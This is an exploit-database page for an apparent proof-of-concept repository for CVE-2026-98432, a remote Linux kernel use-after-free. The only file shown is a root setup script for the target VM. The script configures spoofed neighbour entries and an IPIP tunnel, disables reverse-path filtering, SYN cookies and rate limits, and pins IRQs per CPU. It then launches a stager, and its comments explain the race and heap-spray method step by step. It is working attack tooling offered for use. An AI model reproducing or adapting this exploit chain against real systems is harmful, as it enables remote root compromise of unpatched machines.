Exploit database

GH-51adea3e8db6ecf0a1c1acacb0539030

rootagi/cve-2026-98432

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98432

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
rootagi/cve-2026-98432Revision 8fb754ed7fe5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/remote_setup_target.sh

Shell · 6,945 bytes
#!/bin/bash
# Root-side setup for the remote target (runs inside the target VM).
# Invoked as: rootbash -p remote_setup_target.sh
#
# Network layout (no values are compiled in; set the lab's via environment):
#   TARGET_IF1 / TARGET_IF2  target NIC names (defaults enp0s8/enp0s9)
#   TARGET_IP1 / TARGET_IP2  target IPs (reader path / alloc-free-spray path)
#   ATTACKER_IP / ATTACKER_MAC  attacker IP / NIC MAC (answers ARP for the wire)
#   VICTIM_IP/32             victim destination (rr store -> fake ubuf)
#   IPIP_SPRAY_IP/32 on lo   IPIP inner spray destination (flags byte 8)
#   DUP_NET                  dup-SYN net routed out TARGET_IF2
#   ROUTE_NET                spray net routed out TARGET_IF1
#   SPRAY_NET_A / SPRAY_NET_B  chain/stage-1 spray source nets on TARGET_IF1
#   the attacker answers ARP for both.
#
# The script locates itself, so the lab directory does not have to be a
# particular user's home.  Helper paths follow the target user's $HOME.
set -e

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
DIR="${REMOTE_DIR:-$SCRIPT_DIR}"
REMOTE_HOME="${REMOTE_HOME:-$(dirname "$DIR")}"
RUN_UID="${RUN_UID:-$(stat -c %u "$DIR")}"
RUN_GID="${RUN_GID:-$(stat -c %g "$DIR")}"
if [ "$RUN_UID" = "0" ]; then
    RUN_UID=1000
    RUN_GID=1000
fi
RT_PROOF_PATH="${RT_PROOF_PATH:-$DIR/root-proof.txt}"

IF1="${TARGET_IF1:-enp0s8}"
IF2="${TARGET_IF2:-enp0s9}"
TARGET_IP1="${TARGET_IP1:?set TARGET_IP1: target enp0s8 IP}"
TARGET_IP2="${TARGET_IP2:?set TARGET_IP2: target enp0s9 IP}"
ATTACKER_IP="${ATTACKER_IP:?set ATTACKER_IP: attacker enp0s8 IP}"
ATTACKER_MAC="${ATTACKER_MAC:?set ATTACKER_MAC: attacker enp0s8 MAC}"

ip link set $IF1 up
ip link set $IF2 up
ip addr flush dev $IF1 scope global 2>/dev/null || true
ip addr flush dev $IF2 scope global 2>/dev/null || true
ip addr replace $TARGET_IP1/24 dev $IF1
ip addr replace $TARGET_IP2/24 dev $IF2
ip addr replace ${VICTIM_IP:?set VICTIM_IP: victim destination IP}/32 dev $IF1
ip addr replace ${IPIP_SPRAY_IP:?set IPIP_SPRAY_IP: IPIP inner spray destination}/32 dev lo

# The child's close sends its RST to the victim address; route it out
# IF2 (cpu1) so the RST skb's TX completion - and therefore the
# deferred inet_sock_destruct() that frees the option block - runs on the
# same cpu as the reclaim spray.  The dup SYN-ACKs share this route, so
# the control channel replies are pinned to IF1 instead (below).
DUP_NET="${DUP_NET:?set DUP_NET: dup-SYN net routed to $IF2}"
ROUTE_NET="${ROUTE_NET:?set ROUTE_NET: spray net routed to $IF1}"
ip route replace $DUP_NET/32 dev $IF2
ip route replace $ROUTE_NET/8 dev $IF1
# spoofed peers are not on the wire: pin their neighbour entries to the
# attacker's MAC so SYN-ACKs never wait for (or fail) ARP resolution
ip neigh replace $DUP_NET lladdr $ATTACKER_MAC dev $IF2 nud permanent
ip neigh replace ${SPRAY_NET_A:?set SPRAY_NET_A: chain-stage spray source net} lladdr $ATTACKER_MAC dev $IF1 nud permanent
# chain-stage spray source: srr offset 28, stable displacement at __data[9]
ip neigh replace ${SPRAY_NET_B:?set SPRAY_NET_B: stage-1 spray source net} lladdr $ATTACKER_MAC dev $IF1 nud permanent
# stage-1 (benign) spray source: srr/rr stay zero so the reclaim can be
# proven without running any chain store
ip neigh replace $ROUTE_NET lladdr $ATTACKER_MAC dev $IF1 nud permanent
# Control replies (PREPARE ack / ARMED marker) must not egress the
# flooded interface: the dup SYN-ACKs now leave on IF2, so pin the
# engine's control address to IF1 (quiet in the TX direction).  The
# trigger socket binds INADDR_ANY and takes this source address, while
# the arm itself still arrives on IF2 and is handled on cpu1.
ip route replace $ATTACKER_IP/32 dev $IF1 src $TARGET_IP1
ip neigh replace $ATTACKER_IP lladdr $ATTACKER_MAC dev $IF1 nud permanent

sysctl -q -w net.ipv4.conf.all.rp_filter=0
sysctl -q -w net.ipv4.conf.default.rp_filter=0
for f in lo $IF1 $IF2; do
    sysctl -q -w net.ipv4.conf.$f.rp_filter=0
done
sysctl -q -w net.ipv4.tcp_syncookies=0
sysctl -q -w net.ipv4.tcp_max_syn_backlog=65535
# listen(2) caps the backlog at somaxconn; the spray leaves hundreds of
# unanswered requests per attempt in the SYN queue, so the default 4096
# would drop the next attempt's victim SYN ("Possible SYN flooding")
sysctl -q -w net.core.somaxconn=65535
# duplicate-SYN retransmits are otherwise limited to one SYN-ACK per
# 500 ms per request (tcp_oow_rate_limited), which would collapse a
# multi-dup burst to a single reader window; the lab harness disables
# that per-request rate limit so every dup reaches tcp_v4_send_synack
sysctl -q -w net.ipv4.tcp_invalid_ratelimit=0
# one SYN-ACK retry only: unanswered requests expire in ~1-3 s instead
# of 2 min, so a long race run does not fill the SYN queue or collide
# reused tuples with stale requests
sysctl -q -w net.ipv4.tcp_syn_retries=1

# IPIP receive tunnel: decapsulated packets have mac_len == 0, which is
# what makes the saved_syn reclaim layout match the chain payload.
ip tunnel del rt0 2>/dev/null || true
ip tunnel add rt0 mode ipip local $TARGET_IP1
# the decapsulated packets carry the spoofed spray-net source and
# arrive on rt0: any reverse-path filter drops them (loose mode too)
sysctl -q -w net.ipv4.conf.rt0.rp_filter=0
ip link set rt0 up
sysctl -q -w net.ipv4.conf.rt0.rp_filter=0

# Pin each NIC's IRQ to a different vCPU: reader on cpu0, half of the
# race (child creation/free/reclaim) on cpu1.
systemctl stop irqbalance 2>/dev/null || true
systemctl mask irqbalance 2>/dev/null || true
pin_irq() {
    dev=$1
    cpu=$2
    irq=$(awk -v d="$dev" '$0 ~ d {gsub(":", "", $1); print $1; exit}' /proc/interrupts)
    if [ -n "$irq" ] && [ -w /proc/irq/$irq/smp_affinity ]; then
        mask=1
        [ "$cpu" = "1" ] && mask=2
        echo $mask > /proc/irq/$irq/smp_affinity
        echo "pinned $dev irq $irq -> cpu$cpu (mask $mask)"
    else
        echo "warning: could not pin $dev irq"
    fi
}
pin_irq $IF1 0
pin_irq $IF2 1

# Start/restart the stager as the lab user, pinned to cpu1.
pkill -x remote_target_t 2>/dev/null || true
sleep 0.2
mkdir -p $DIR
chown "$RUN_UID:$RUN_GID" $DIR
STORM_ENV=""
[ -n "${RT_STORM_GRID_US:-}" ] && STORM_ENV="$STORM_ENV RT_STORM_GRID_US=$RT_STORM_GRID_US"
[ -n "${RT_STORM_WAITERS:-}" ] && STORM_ENV="$STORM_ENV RT_STORM_WAITERS=$RT_STORM_WAITERS"
[ -n "${RT_STORM_SPIN_MS:-}" ] && STORM_ENV="$STORM_ENV RT_STORM_SPIN_MS=$RT_STORM_SPIN_MS"
[ -n "${RT_STORM_PREP_MS:-}" ] && STORM_ENV="$STORM_ENV RT_STORM_PREP_MS=$RT_STORM_PREP_MS"
[ -n "${RT_CHILD_LOG:-}" ] && STORM_ENV="$STORM_ENV RT_CHILD_LOG=$RT_CHILD_LOG"
setpriv --reuid=$RUN_UID --regid=$RUN_GID --init-groups \
    env HOME="$REMOTE_HOME" PATH=/usr/local/bin:/usr/bin:/bin \
    RT_PROOF_PATH="$RT_PROOF_PATH" $STORM_ENV \
    taskset -c 1 $DIR/remote_target_test > $DIR/stager.log 2>&1 &
sleep 0.5
echo "--- stager.log ---"
cat $DIR/stager.log
echo "--- setup done ---"
ip -br addr show $IF1
ip -br addr show $IF2
ip link show rt0 | head -1